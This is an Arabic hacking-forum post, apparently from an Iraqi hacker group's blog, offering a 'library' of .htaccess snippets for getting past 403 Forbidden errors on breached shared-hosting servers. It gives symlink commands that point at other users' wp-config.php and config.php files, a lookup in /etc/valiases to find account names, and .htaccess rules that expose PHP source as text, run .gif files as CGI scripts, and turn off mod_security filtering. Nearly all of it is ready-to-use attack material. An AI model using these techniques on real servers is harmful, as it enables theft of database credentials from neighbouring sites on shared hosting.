مكتبـه الهاتكسـات وتخـطي الفروبدين #مشاكل_اختراق_السيرفرات #HTACCESS

↑ Grab this Headline Animator

Follow @KAMINDOZ Tweet to @KAMINDOZ

مكتبـه الهاتكسـات وتخـطي الفروبدين

السلام عليكم ورحمة الله وبركاتة

كيفكم ان شاء الله الجميع بخير ..


كترت مشاكل الفوربيدون وكلنا هون

لتبادل الفائدة ..

الي مش عارف شو هاتكــس :

هو يستخدم لتخطي الفور بيدون

عند عمل اختصار للسيرفر

او سحب كنفق بصيغة معينة الخ

اولا هون هــأتكـس تخطي :

اتصل بالسيرفر اتصال

عكسي ببورت 21 او 443 :

انـشى دايـركت ثم

كود PHP:

[HTML]Options +FollowSymLinks
DirectoryIndex Sux.html
Options +Indexes
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html  [/HTML] 

او هذا :

كود PHP:

[HTML]Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html  [/HTML] 

ثانيـآ : هاتكس لسحب الكنفق بصيغة ini

آنشى من الشيل اختصار بــ .htaccess

كود PHP:

 ln -s /home/user/public_html/wp-config.php conf.ini 

بعديها روح لشيل وعدل علية :

كود PHP:

[HTML]Options Indexes FollowSymLinks
DirectoryIndex confi.htm  [/HTML] 

وحول بامتداده للكنفق واقره عادي

ثلاثآ :

سحب الكنفق عن طريق html

اول شي هون يكون نطلع يوزر الموقع

كود PHP:

ls -ls /etc/valiases/site.com 

كود PHP:

ln -s home/user/public_html/config.php config.html 

ونروح لدايركت ونحط الهاتكس دا

كود PHP:

[HTML]Options Indexes FollowSymLinks
DirectoryIndex config.htm  [/HTML] 

رابعآ :

تخطي اصدار الاباتشي في

php 5.2.17 وسحب الكنفق بـ

الصيغة shtml :

اول نعمل دايركت بعيدها ننفذ

امر سحب للكنفق بصيغة txt

كود PHP:

ln -s /home/user/public_html/config.php 1.txt 

الان بنروح لشيل طال عمرك ونعمل

ملف جديد هاتكس يعني .htaccess

بكون بنفس الدايركت الي سحبنا فيه

كود PHP:

<!--#include virtual="1.shtml"--> 

بملف الي اتسحب بعديها شوف سورس

الصفحة بظهر لك مباشرة .

خامسا :

سحب عن طريق صورة :

نسحب بصورة وهي الحالة نسخدم معها

هي الهتكـس :

كود PHP:

[HTML]Options FollowSymLinks MultiViews Indexes ExecCGI 
AddType application/x-httpd-cgi .gif 
AddHandler cgi-script .gif
AddHandler cgi-script .gif  [/HTML] 

وهدا هاتكس تاني مختلف :

كود PHP:

[HTML]Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddHandler cgi-script .psy
AddHandler cgi-script .psy  [/HTML] 

والباقي سهل Nو
وانا ازيد علي الموضوع بعض الهاتكسات الى تتخطي

كود PHP:

Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php 

والثأني

كود PHP:

options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html 

الثـالث

كود PHP:

Options all
 DirectoryIndex Sux.html
 AddType text/plain .php
 AddHandler server-parsed .php
  AddType text/plain .html
 AddHandler txt .html
 Require None
 Satisfy Any 

الرآبع

كود PHP:

Options +FollowSymLinks
DirectoryIndex Index.html
Options +Indexes
AddType text/plain .php
AddHandler server-parsed .php 

وان شاء الله .. اوفر لكم اي هاتكس يكون برايفت او قوي في التخطي ..
حدك القيام بيه 

 

 

  <Files *.php>ForceType application/x-httpd-php4</Files>
<ifModule mod_security.c>SecFilterEngine Off
SecFilterScanPOST Off</IfModule> 

منتديات الهكر العراقي , منظمة الاختراق العراقية kamindoz

Share

Tweet

روابط هذه التدوينة قابلة للنسخ واللصق
URL
HTML
BBCode

Tweet Follow @KAMINDOZ Tweet

kamindoz